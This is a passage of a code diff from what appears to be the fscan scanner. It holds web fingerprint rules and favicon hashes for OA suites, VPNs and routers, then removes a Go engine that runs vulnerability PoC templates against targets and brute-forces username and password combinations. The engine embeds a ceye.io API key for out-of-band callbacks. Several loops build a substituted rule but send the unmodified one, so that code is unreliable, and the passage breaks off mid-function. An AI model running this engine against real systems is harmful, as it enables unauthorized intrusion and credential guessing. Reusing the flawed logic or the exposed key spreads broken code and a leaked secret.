{"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
|
||||
{"致远OA", "code", "(/seeyon/common/)"},
|
||||
{"discuz", "code", "(content=\"Discuz! X\")"},
|
||||
{"Typecho", "code", "(Typecho</a>)"},
|
||||
{"金蝶EAS", "code", "(easSessionId)"},
|
||||
{"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"},
|
||||
{"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"},
|
||||
{"H3C-AM8000", "code", "(AM8000)"},
|
||||
{"360企业版", "code", "(360EntWebAdminMD5Secret)"},
|
||||
{"H3C公司产品", "code", "([email protected])"},
|
||||
{"H3C ICG 1000", "code", "(ICG 1000系统管理)"},
|
||||
{"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"},
|
||||
{"H3C ER5100", "code", "(ER5100系统管理)"},
|
||||
{"阿里云CDN", "code", "(cdn.aliyuncs.com)"},
|
||||
{"CISCO_EPC3925", "code", "(Docsis_system)"},
|
||||
{"CISCO ASR", "code", "(CISCO ASR)"},
|
||||
{"H3C ER3200", "code", "(ER3200系统管理)"},
|
||||
{"万户ezOFFICE", "headers", "(LocLan)"},
|
||||
{"万户网络", "code", "(css/css_whir.css)"},
|
||||
{"Spark_Master", "code", "(Spark Master at)"},
|
||||
{"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
|
||||
{"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
|
||||
{"深信服ssl-vpn", "code", "(login_psw.csp)"},
|
||||
{"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
|
||||
{"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
|
||||
{"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"},
|
||||
{"360主机卫士", "headers", "(zhuji.360.cn)"},
|
||||
{"Nagios", "headers", "(Nagios Access)"},
|
||||
{"H3C ER8300", "code", "(ER8300系统管理)"},
|
||||
{"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"},
|
||||
{"华为 MCU", "code", "(McuR5-min.js)"},
|
||||
{"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"},
|
||||
{"泛微OA", "headers", "(ecology_JSessionid)"},
|
||||
{"泛微OA", "code", "(/spa/portal/public/index.js)"},
|
||||
{"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"},
|
||||
{"360网站卫士", "code", "(360wzb)"},
|
||||
{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
|
||||
{"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
|
||||
{"zabbix", "cookie", "(zbx_sessionid)"},
|
||||
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA)"},
|
||||
{"CISCO_VPN", "headers", "(webvpn)"},
|
||||
{"360站长平台", "code", "(360-site-verification)"},
|
||||
{"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
|
||||
{"o2security_vpn", "headers", "(client_param=install_active)"},
|
||||
{"H3C ER3260G2", "code", "(ER3260G2系统管理)"},
|
||||
{"H3C ICG1000", "code", "(ICG1000系统管理)"},
|
||||
{"CISCO-CX20", "code", "(CISCO-CX20)"},
|
||||
{"H3C ER5200", "code", "(ER5200系统管理)"},
|
||||
{"linksys-vpn-bragap14-parintins", "code", "(linksys-vpn-bragap14-parintins)"},
|
||||
{"360网站卫士常用前端公共库", "code", "(libs.useso.com)"},
|
||||
{"H3C ER3100", "code", "(ER3100系统管理)"},
|
||||
{"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"},
|
||||
{"360webfacil_360WebManager", "code", "(publico/template/)"},
|
||||
{"Citrix_Netscaler", "code", "(ns_af)"},
|
||||
{"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
|
||||
{"H3C ER3260", "code", "(ER3260系统管理)"},
|
||||
{"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
|
||||
{"exchange", "code", "(/owa/auth.owa)"},
|
||||
{"Spark_Worker", "code", "(Spark Worker at)"},
|
||||
{"H3C ER3108G", "code", "(ER3108G系统管理)"},
|
||||
{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
|
||||
{"Citrix-ConfProxy", "code", "(confproxy)"},
|
||||
{"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
|
||||
{"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
|
||||
{"华为(HUAWEI)安全设备", "code", "(sweb-lib/resource/)"},
|
||||
{"华为(HUAWEI)USG", "code", "(UI_component/commonDefine/UI_regex_define.js)"},
|
||||
{"H3C ER6300", "code", "(ER6300系统管理)"},
|
||||
{"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"},
|
||||
{"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
|
||||
{"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
|
||||
{"H3C ER2100", "code", "(ER2100系统管理)"},
|
||||
{"绿盟下一代防火墙", "code", "(NSFOCUS NF)"},
|
||||
{"jira", "code", "(jira.webresources)"},
|
||||
{"金和协同管理平台", "code", "(金和协同管理平台)"},
|
||||
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
|
||||
{"linksys-vpn", "headers", "(linksys-vpn)"},
|
||||
{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版)"},
|
||||
{"华为(HUAWEI)Secoway设备", "code", "(Secoway)"},
|
||||
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
|
||||
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
|
||||
{"H3C ER8300G2", "code", "(ER8300G2系统管理)"},
|
||||
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"},
|
||||
{"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
|
||||
{"Jboss", "headers", "(JBoss)"},
|
||||
{"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"},
|
||||
{"齐治堡垒机", "code", "(logo-icon-ico72.png|resources/themes/images/logo-login.png)"},
|
||||
{"ThinkPHP", "headers", "(ThinkPHP)"},
|
||||
{"ThinkPHP", "code", "(/Public/static/js/)"},
|
||||
{"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"},
|
||||
{"Laravel", "headers", "(laravel_session)"},
|
||||
{"DWR", "code", "(dwr/engine.js)"},
|
||||
{"swagger_ui", "code", "(swagger-ui/css|\"swagger\":|swagger-ui.min.js)"},
|
||||
{"大汉版通发布系统", "code", "(大汉版通发布系统|大汉网络)"},
|
||||
{"druid", "code", "(druid.index|DruidDrivers|DruidVersion|Druid Stat Index)"},
|
||||
{"Jenkins", "code", "(Jenkins)"},
|
||||
{"红帆OA", "code", "(iOffice)"},
|
||||
{"VMware vSphere", "code", "(VMware vSphere)"},
|
||||
{"打印机", "code", "(打印机|media/canon.gif)"},
|
||||
{"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
|
||||
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization)"},
|
||||
{"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
|
||||
}
|
||||
|
||||
var Md5Datas = []Md5Data{
|
||||
{"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
|
||||
{"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
|
||||
{"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
|
||||
{"锐捷网关", "d8d7c9138e93d43579ebf2e384745ba8"},
|
||||
{"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
|
||||
{"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
|
||||
{"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
|
||||
{"致远OA", "57f307ad3764553df84e7b14b7a85432"},
|
||||
{"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
|
||||
{"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
|
||||
{"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
|
||||
{"SprintBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
|
||||
{"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
|
||||
{"通达OA", "ed0044587917c76d08573577c8b72883"},
|
||||
{"泛微OA", "41eca7a9245394106a09b2534d8030df"},
|
||||
{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
|
||||
{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
|
||||
{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
|
||||
{"GitLab", "85c754581e1d4b628be5b7712c042224"},
|
||||
}
|
||||
@@ -1,691 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"github.com/google/cel-go/cel"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
ceyeApi = "a78a1cb49d91fe09e01876078d1868b2"
|
||||
ceyeDomain = "7wtusr.ceye.io"
|
||||
)
|
||||
|
||||
type Task struct {
|
||||
Req *http.Request
|
||||
Poc *Poc
|
||||
}
|
||||
|
||||
func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string) {
|
||||
tasks := make(chan Task)
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < workers; i++ {
|
||||
go func() {
|
||||
for task := range tasks {
|
||||
isVul, _ := executePoc(task.Req, task.Poc)
|
||||
if isVul {
|
||||
result := fmt.Sprintf("[+] %s %s", task.Req.URL, task.Poc.Name)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
wg.Done()
|
||||
}
|
||||
}()
|
||||
}
|
||||
for _, poc := range LoadMultiPoc(Pocs, pocname) {
|
||||
task := Task{
|
||||
Req: req,
|
||||
Poc: poc,
|
||||
}
|
||||
wg.Add(1)
|
||||
tasks <- task
|
||||
}
|
||||
wg.Wait()
|
||||
close(tasks)
|
||||
}
|
||||
|
||||
func executePoc(oReq *http.Request, p *Poc) (bool, error) {
|
||||
c := NewEnvOption()
|
||||
c.UpdateCompileOptions(p.Set)
|
||||
if len(p.Sets) > 0 {
|
||||
setMap := make(map[string]string)
|
||||
for k := range p.Sets {
|
||||
setMap[k] = p.Sets[k][0]
|
||||
}
|
||||
c.UpdateCompileOptions(setMap)
|
||||
}
|
||||
env, err := NewEnv(&c)
|
||||
if err != nil {
|
||||
//fmt.Printf("environment creation error: %s\n", err)
|
||||
return false, err
|
||||
}
|
||||
req, err := ParseRequest(oReq)
|
||||
if err != nil {
|
||||
//fmt.Println("ParseRequest error",err)
|
||||
return false, err
|
||||
}
|
||||
variableMap := make(map[string]interface{})
|
||||
variableMap["request"] = req
|
||||
|
||||
// 现在假定set中payload作为最后产出,那么先排序解析其他的自定义变量,更新map[string]interface{}后再来解析payload
|
||||
keys := make([]string, 0)
|
||||
keys1 := make([]string, 0)
|
||||
for k := range p.Set {
|
||||
if strings.Contains(strings.ToLower(p.Set[k]), "random") && strings.Contains(strings.ToLower(p.Set[k]), "(") {
|
||||
keys = append(keys, k) //优先放入调用random系列函数的变量
|
||||
} else {
|
||||
keys1 = append(keys1, k)
|
||||
}
|
||||
}
|
||||
sort.Strings(keys)
|
||||
sort.Strings(keys1)
|
||||
keys = append(keys, keys1...)
|
||||
for _, k := range keys {
|
||||
expression := p.Set[k]
|
||||
if k != "payload" {
|
||||
if expression == "newReverse()" {
|
||||
variableMap[k] = newReverse()
|
||||
continue
|
||||
}
|
||||
out, err := Evaluate(env, expression, variableMap)
|
||||
if err != nil {
|
||||
//fmt.Println(p.Name," poc_expression error",err)
|
||||
variableMap[k] = expression
|
||||
continue
|
||||
}
|
||||
switch value := out.Value().(type) {
|
||||
case *UrlType:
|
||||
variableMap[k] = UrlTypeToString(value)
|
||||
case int64:
|
||||
variableMap[k] = int(value)
|
||||
case []uint8:
|
||||
variableMap[k] = fmt.Sprintf("%s", out)
|
||||
default:
|
||||
variableMap[k] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if p.Set["payload"] != "" {
|
||||
out, err := Evaluate(env, p.Set["payload"], variableMap)
|
||||
if err != nil {
|
||||
//fmt.Println(p.Name," poc_payload error",err)
|
||||
return false, err
|
||||
}
|
||||
variableMap["payload"] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
|
||||
setslen := 0
|
||||
haspayload := false
|
||||
var setskeys []string
|
||||
if len(p.Sets) > 0 {
|
||||
for _, rule := range p.Rules {
|
||||
for k := range p.Sets {
|
||||
if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
|
||||
if strings.Contains(k, "payload") {
|
||||
haspayload = true
|
||||
}
|
||||
setslen++
|
||||
setskeys = append(setskeys, k)
|
||||
continue
|
||||
}
|
||||
for k2 := range rule.Headers {
|
||||
if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
|
||||
if strings.Contains(k, "payload") {
|
||||
haspayload = true
|
||||
}
|
||||
setslen++
|
||||
setskeys = append(setskeys, k)
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
success := false
|
||||
if setslen > 0 {
|
||||
if haspayload {
|
||||
success, err = clusterpoc1(oReq, p, variableMap, req, env, setskeys)
|
||||
} else {
|
||||
success, err = clusterpoc(oReq, p, variableMap, req, env, setslen, setskeys)
|
||||
}
|
||||
} else {
|
||||
for _, rule := range p.Rules {
|
||||
for k1, v1 := range variableMap {
|
||||
_, isMap := v1.(map[string]string)
|
||||
if isMap {
|
||||
continue
|
||||
}
|
||||
value := fmt.Sprintf("%v", v1)
|
||||
for k2, v2 := range rule.Headers {
|
||||
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
|
||||
}
|
||||
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
|
||||
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
|
||||
}
|
||||
|
||||
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
|
||||
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
|
||||
} else {
|
||||
req.Url.Path = rule.Path
|
||||
}
|
||||
// 某些poc没有区分path和query,需要处理
|
||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
|
||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
|
||||
|
||||
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
|
||||
newRequest.Header = oReq.Header.Clone()
|
||||
for k, v := range rule.Headers {
|
||||
newRequest.Header.Set(k, v)
|
||||
}
|
||||
|
||||
resp, err := DoRequest(newRequest, rule.FollowRedirects)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
variableMap["response"] = resp
|
||||
// 先判断响应页面是否匹配search规则
|
||||
if rule.Search != "" {
|
||||
result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
|
||||
if result != nil && len(result) > 0 { // 正则匹配成功
|
||||
for k, v := range result {
|
||||
variableMap[k] = v
|
||||
}
|
||||
//return false, nil
|
||||
} else {
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
out, err := Evaluate(env, rule.Expression, variableMap)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
|
||||
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
|
||||
success = false // 如果最后一步执行失败,就算前面成功了最终依旧是失败
|
||||
break
|
||||
}
|
||||
success = true
|
||||
}
|
||||
}
|
||||
return success, nil
|
||||
}
|
||||
|
||||
func doSearch(re string, body string) map[string]string {
|
||||
r, err := regexp.Compile(re)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
result := r.FindStringSubmatch(body)
|
||||
names := r.SubexpNames()
|
||||
if len(result) > 1 && len(names) > 1 {
|
||||
paramsMap := make(map[string]string)
|
||||
for i, name := range names {
|
||||
if i > 0 && i <= len(result) {
|
||||
paramsMap[name] = result[i]
|
||||
}
|
||||
}
|
||||
return paramsMap
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func newReverse() *Reverse {
|
||||
letters := "1234567890abcdefghijklmnopqrstuvwxyz"
|
||||
randSource := rand.New(rand.NewSource(time.Now().Unix()))
|
||||
sub := RandomStr(randSource, letters, 8)
|
||||
if true {
|
||||
//默认不开启dns解析
|
||||
return &Reverse{}
|
||||
}
|
||||
urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
|
||||
u, _ := url.Parse(urlStr)
|
||||
return &Reverse{
|
||||
Url: ParseUrl(u),
|
||||
Domain: u.Hostname(),
|
||||
Ip: "",
|
||||
IsDomainNameServer: false,
|
||||
}
|
||||
}
|
||||
|
||||
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, slen int, keys []string) (success bool, err error) {
|
||||
for _, rule := range p.Rules {
|
||||
for k1, v1 := range variableMap {
|
||||
if IsContain(keys, k1) {
|
||||
continue
|
||||
}
|
||||
_, isMap := v1.(map[string]string)
|
||||
if isMap {
|
||||
continue
|
||||
}
|
||||
value := fmt.Sprintf("%v", v1)
|
||||
for k2, v2 := range rule.Headers {
|
||||
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
|
||||
}
|
||||
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
|
||||
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
|
||||
}
|
||||
|
||||
n := 0
|
||||
for k := range p.Sets {
|
||||
if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
|
||||
n++
|
||||
continue
|
||||
}
|
||||
for k2 := range rule.Headers {
|
||||
if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
|
||||
n++
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
if n == 0 {
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if slen == 1 {
|
||||
look1:
|
||||
for _, var1 := range p.Sets[keys[0]] {
|
||||
rule1 := cloneRules(rule)
|
||||
for k2, v2 := range rule1.Headers {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
|
||||
}
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == true {
|
||||
break look1
|
||||
}
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if slen == 2 {
|
||||
look2:
|
||||
for _, var1 := range p.Sets[keys[0]] {
|
||||
for _, var2 := range p.Sets[keys[1]] {
|
||||
rule1 := cloneRules(rule)
|
||||
for k2, v2 := range rule1.Headers {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
|
||||
}
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == true {
|
||||
break look2
|
||||
}
|
||||
}
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if slen == 3 {
|
||||
look3:
|
||||
for _, var1 := range p.Sets[keys[0]] {
|
||||
for _, var2 := range p.Sets[keys[1]] {
|
||||
for _, var3 := range p.Sets[keys[2]] {
|
||||
rule1 := cloneRules(rule)
|
||||
for k2, v2 := range rule1.Headers {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3)
|
||||
}
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3)
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == true {
|
||||
break look3
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return success, nil
|
||||
}
|
||||
|
||||
func clusterpoc1(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, keys []string) (success bool, err error) {
|
||||
setMap := make(map[string]interface{})
|
||||
for k := range p.Sets {
|
||||
setMap[k] = p.Sets[k][0]
|
||||
}
|
||||
setMapbak := cloneMap1(setMap)
|
||||
for _, rule := range p.Rules {
|
||||
for k1, v1 := range variableMap {
|
||||
if IsContain(keys, k1) {
|
||||
continue
|
||||
}
|
||||
_, isMap := v1.(map[string]string)
|
||||
if isMap {
|
||||
continue
|
||||
}
|
||||
value := fmt.Sprintf("%v", v1)
|
||||
for k2, v2 := range rule.Headers {
|
||||
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
|
||||
}
|
||||
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
|
||||
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
|
||||
}
|
||||
|
||||
varset := []string{}
|
||||
varpay := []string{}
|
||||
n := 0
|
||||
for k := range p.Sets {
|
||||
// 1. 如果rule中需要修改 {{k}} 如username、payload
|
||||
if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
|
||||
if strings.Contains(k, "payload") {
|
||||
varpay = append(varpay, k)
|
||||
} else {
|
||||
varset = append(varset, k)
|
||||
}
|
||||
n++
|
||||
continue
|
||||
}
|
||||
for k2 := range rule.Headers {
|
||||
if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
|
||||
if strings.Contains(k, "payload") {
|
||||
varpay = append(varpay, k)
|
||||
} else {
|
||||
varset = append(varset, k)
|
||||
}
|
||||
n++
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, key := range varpay {
|
||||
v := fmt.Sprintf("%s", setMap[key])
|
||||
for k := range p.Sets {
|
||||
if strings.Contains(v, k) {
|
||||
if !IsContain(varset, k) && !IsContain(varpay, k) {
|
||||
varset = append(varset, k)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if n == 0 {
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
}
|
||||
if len(varset) == 1 {
|
||||
look1:
|
||||
// (var1 tomcat ,keys[0] username)
|
||||
for _, var1 := range p.Sets[varset[0]] {
|
||||
setMap := cloneMap1(setMapbak)
|
||||
setMap[varset[0]] = var1
|
||||
evalset(env, setMap)
|
||||
rule1 := cloneRules(rule)
|
||||
for k2, v2 := range rule1.Headers {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1)
|
||||
for _, key := range varpay {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
}
|
||||
}
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1)
|
||||
for _, key := range varpay {
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
}
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
if success == true {
|
||||
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1))
|
||||
break look1
|
||||
}
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if len(varset) == 2 {
|
||||
look2:
|
||||
// (var1 tomcat ,keys[0] username)
|
||||
for _, var1 := range p.Sets[varset[0]] { //username
|
||||
for _, var2 := range p.Sets[varset[1]] { //password
|
||||
setMap := cloneMap1(setMapbak)
|
||||
setMap[varset[0]] = var1
|
||||
setMap[varset[1]] = var2
|
||||
evalset(env, setMap)
|
||||
rule1 := cloneRules(rule)
|
||||
for k2, v2 := range rule1.Headers {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1)
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+varset[1]+"}}", var2)
|
||||
for _, key := range varpay {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
}
|
||||
}
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1)
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[1]+"}}", var2)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[1]+"}}", var2)
|
||||
for _, key := range varpay {
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
}
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule1)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == true {
|
||||
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1, var2))
|
||||
break look2
|
||||
}
|
||||
}
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if len(varset) == 3 {
|
||||
look3:
|
||||
for _, var1 := range p.Sets[keys[0]] {
|
||||
for _, var2 := range p.Sets[keys[1]] {
|
||||
for _, var3 := range p.Sets[keys[2]] {
|
||||
setMap := cloneMap1(setMapbak)
|
||||
setMap[varset[0]] = var1
|
||||
setMap[varset[1]] = var2
|
||||
evalset(env, setMap)
|
||||
rule1 := cloneRules(rule)
|
||||
for k2, v2 := range rule1.Headers {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3)
|
||||
for _, key := range varpay {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
}
|
||||
}
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
|
||||
